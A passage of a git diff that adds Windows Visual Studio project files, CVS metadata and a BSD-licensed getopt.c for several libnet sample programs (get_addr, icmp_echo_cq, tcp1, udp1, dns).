+ EnableCOMDATFolding="2"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\..\dns.c">
+ </File>
+ <File
+ RelativePath="..\getopt.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/libnet/sample/win32/get_addr/CVS/Entries b/libnet/sample/win32/get_addr/CVS/Entries
new file mode 100644
index 0000000..6b78e48
--- /dev/null
+++ b/libnet/sample/win32/get_addr/CVS/Entries
@@ -0,0 +1,2 @@
+/get_addr.vcproj/1.3/Thu Nov 27 20:28:39 2003//
+D
diff --git a/libnet/sample/win32/get_addr/CVS/Repository b/libnet/sample/win32/get_addr/CVS/Repository
new file mode 100644
index 0000000..8587665
--- /dev/null
+++ b/libnet/sample/win32/get_addr/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/sample/win32/get_addr
diff --git a/libnet/sample/win32/get_addr/CVS/Root b/libnet/sample/win32/get_addr/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/sample/win32/get_addr/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/sample/win32/get_addr/get_addr.vcproj b/libnet/sample/win32/get_addr/get_addr.vcproj
new file mode 100644
index 0000000..e849ca6
--- /dev/null
+++ b/libnet/sample/win32/get_addr/get_addr.vcproj
@@ -0,0 +1,139 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.10"
+ Name="get_addr"
+ ProjectGUID="{DA921F29-B6BE-4E55-9040-B6DD434F1E43}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="5"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/get_addr.exe"
+ LinkIncremental="2"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/get_addr.pdb"
+ SubSystem="1"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+ StringPooling="TRUE"
+ RuntimeLibrary="4"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/get_addr.exe"
+ LinkIncremental="1"
+ GenerateDebugInformation="TRUE"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\..\get_addr.c">
+ </File>
+ <File
+ RelativePath="..\getopt.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/libnet/sample/win32/getopt.c b/libnet/sample/win32/getopt.c
new file mode 100644
index 0000000..152aecd
--- /dev/null
+++ b/libnet/sample/win32/getopt.c
@@ -0,0 +1,121 @@
+/*
+ * Copyright (c) 1987, 1993, 1994
+ * The Regents of the University of California. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ * 3. All advertising materials mentioning features or use of this software
+ * must display the following acknowledgement:
+ * This product includes software developed by the University of
+ * California, Berkeley and its contributors.
+ * 4. Neither the name of the University nor the names of its contributors
+ * may be used to endorse or promote products derived from this software
+ * without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ */
+
+#if defined(LIBC_SCCS) && !defined(lint)
+static char sccsid[] = "@(#)getopt.c 8.3 (Berkeley) 4/27/95";
+#endif /* LIBC_SCCS and not lint */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+int opterr = 1, /* if error message should be printed */
+ optind = 1, /* index into parent argv vector */
+ optopt, /* character checked for validity */
+ optreset; /* reset getopt */
+char *optarg; /* argument associated with option */
+
+#define BADCH (int)'?'
+#define BADARG (int)':'
+#define EMSG ""
+
+/*
+ * getopt --
+ * Parse argc/argv argument vector.
+ */
+int
+getopt(nargc, nargv, ostr)
+ int nargc;
+ char * const *nargv;
+ const char *ostr;
+{
+#ifdef WIN32
+ char *__progname="windump";
+#else
+ extern char *__progname;
+#endif
+ static char *place = EMSG; /* option letter processing */
+ char *oli; /* option letter list index */
+
+ if (optreset || !*place) { /* update scanning pointer */
+ optreset = 0;
+ if (optind >= nargc || *(place = nargv[optind]) != '-') {
+ place = EMSG;
+ return (-1);
+ }
+ if (place[1] && *++place == '-') { /* found "--" */
+ ++optind;
+ place = EMSG;
+ return (-1);
+ }
+ } /* option letter okay? */
+ if ((optopt = (int)*place++) == (int)':' ||
+ !(oli = strchr(ostr, optopt))) {
+ /*
+ * if the user didn't specify '-' as an option,
+ * assume it means -1.
+ */
+ if (optopt == (int)'-')
+ return (-1);
+ if (!*place)
+ ++optind;
+ if (opterr && *ostr != ':')
+ (void)fprintf(stderr,
+ "%s: illegal option -- %c\n", __progname, optopt);
+ return (BADCH);
+ }
+ if (*++oli != ':') { /* don't need argument */
+ optarg = NULL;
+ if (!*place)
+ ++optind;
+ }
+ else { /* need an argument */
+ if (*place) /* no white space */
+ optarg = place;
+ else if (nargc <= ++optind) { /* no arg */
+ place = EMSG;
+ if (*ostr == ':')
+ return (BADARG);
+ if (opterr)
+ (void)fprintf(stderr,
+ "%s: option requires an argument -- %c\n",
+ __progname, optopt);
+ return (BADCH);
+ }
+ else /* white space */
+ optarg = nargv[optind];
+ place = EMSG;
+ ++optind;
+ }
+ return (optopt); /* dump back option letter */
+}
diff --git a/libnet/sample/win32/icmp_echo_cq/CVS/Entries b/libnet/sample/win32/icmp_echo_cq/CVS/Entries
new file mode 100644
index 0000000..3c6209f
--- /dev/null
+++ b/libnet/sample/win32/icmp_echo_cq/CVS/Entries
@@ -0,0 +1,2 @@
+/icmp_echo_cq.vcproj/1.3/Thu Nov 27 20:28:59 2003//
+D
diff --git a/libnet/sample/win32/icmp_echo_cq/CVS/Repository b/libnet/sample/win32/icmp_echo_cq/CVS/Repository
new file mode 100644
index 0000000..a3da218
--- /dev/null
+++ b/libnet/sample/win32/icmp_echo_cq/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/sample/win32/icmp_echo_cq
diff --git a/libnet/sample/win32/icmp_echo_cq/CVS/Root b/libnet/sample/win32/icmp_echo_cq/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/sample/win32/icmp_echo_cq/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/sample/win32/icmp_echo_cq/icmp_echo_cq.vcproj b/libnet/sample/win32/icmp_echo_cq/icmp_echo_cq.vcproj
new file mode 100644
index 0000000..0fd845f
--- /dev/null
+++ b/libnet/sample/win32/icmp_echo_cq/icmp_echo_cq.vcproj
@@ -0,0 +1,139 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.10"
+ Name="icmp_echo_cq"
+ ProjectGUID="{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="5"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/icmp_echo_cq.exe"
+ LinkIncremental="2"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/upd1.pdb"
+ SubSystem="1"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+ StringPooling="TRUE"
+ RuntimeLibrary="4"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/icmp_echo_cq.exe"
+ LinkIncremental="1"
+ GenerateDebugInformation="TRUE"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\getopt.c">
+ </File>
+ <File
+ RelativePath="..\..\icmp_echo_cq.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/libnet/sample/win32/tcp1/CVS/Entries b/libnet/sample/win32/tcp1/CVS/Entries
new file mode 100644
index 0000000..ce48fb6
--- /dev/null
+++ b/libnet/sample/win32/tcp1/CVS/Entries
@@ -0,0 +1,2 @@
+/tcp1.vcproj/1.2/Fri Oct 17 00:22:38 2003//
+D
diff --git a/libnet/sample/win32/tcp1/CVS/Repository b/libnet/sample/win32/tcp1/CVS/Repository
new file mode 100644
index 0000000..e07d391
--- /dev/null
+++ b/libnet/sample/win32/tcp1/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/sample/win32/tcp1
diff --git a/libnet/sample/win32/tcp1/CVS/Root b/libnet/sample/win32/tcp1/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/sample/win32/tcp1/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/sample/win32/tcp1/tcp1.vcproj b/libnet/sample/win32/tcp1/tcp1.vcproj
new file mode 100644
index 0000000..16f9569
--- /dev/null
+++ b/libnet/sample/win32/tcp1/tcp1.vcproj
@@ -0,0 +1,142 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.10"
+ Name="tcp1"
+ ProjectGUID="{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="5"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/tcp1.exe"
+ LinkIncremental="2"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/upd1.pdb"
+ SubSystem="1"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+ StringPooling="TRUE"
+ RuntimeLibrary="4"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/tcp1.exe"
+ LinkIncremental="1"
+ GenerateDebugInformation="TRUE"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\getopt.c">
+ </File>
+ <File
+ RelativePath="..\..\tcp1.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ <File
+ RelativePath="..\..\libnet_test.h">
+ </File>
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/libnet/sample/win32/udp1/CVS/Entries b/libnet/sample/win32/udp1/CVS/Entries
new file mode 100644
index 0000000..7c7be45
--- /dev/null
+++ b/libnet/sample/win32/udp1/CVS/Entries
@@ -0,0 +1,3 @@
+/dns.vcproj/1.1/Wed Sep 10 18:43:20 2003//
+/udp1.vcproj/1.2/Fri Oct 17 00:23:05 2003//
+D
diff --git a/libnet/sample/win32/udp1/CVS/Repository b/libnet/sample/win32/udp1/CVS/Repository
new file mode 100644
index 0000000..e08dd08
--- /dev/null
+++ b/libnet/sample/win32/udp1/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/sample/win32/udp1
diff --git a/libnet/sample/win32/udp1/CVS/Root b/libnet/sample/win32/udp1/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/sample/win32/udp1/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/sample/win32/udp1/dns.vcproj b/libnet/sample/win32/udp1/dns.vcproj
new file mode 100644
index 0000000..fe62490
--- /dev/null
+++ b/libnet/sample/win32/udp1/dns.vcproj
@@ -0,0 +1,125 @@
+<?xml version="1.0" encoding = "Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.00"
+ Name="dns"
+ ProjectGUID="{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="5"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/udp1.exe"
+ LinkIncremental="2"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/upd1.pdb"
+ SubSystem="1"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+ StringPooling="TRUE"
+ RuntimeLibrary="4"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/dns.exe"
+ LinkIncremental="1"
+ GenerateDebugInformation="TRUE"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ </Configuration>
+ </Configurations>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\..\dns.c">
+ </File>
+ <File
+ RelativePath="..\getopt.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/libnet/sample/win32/udp1/udp1.vcproj b/libnet/sample/win32/udp1/udp1.vcproj
new file mode 100644
index 0000000..91e4a99
--- /dev/null
+++ b/libnet/sample/win32/udp1/udp1.vcproj
@@ -0,0 +1,139 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.10"
+ Name="udp1"
+ ProjectGUID="{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="5"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/udp1.exe"
+ LinkIncremental="2"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/upd1.pdb"
+ SubSystem="1"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+ StringPooling="TRUE"
+ RuntimeLibrary="4"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/udp1.exe"
+ LinkIncremental="1"
+ GenerateDebugInformation="TRUE"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
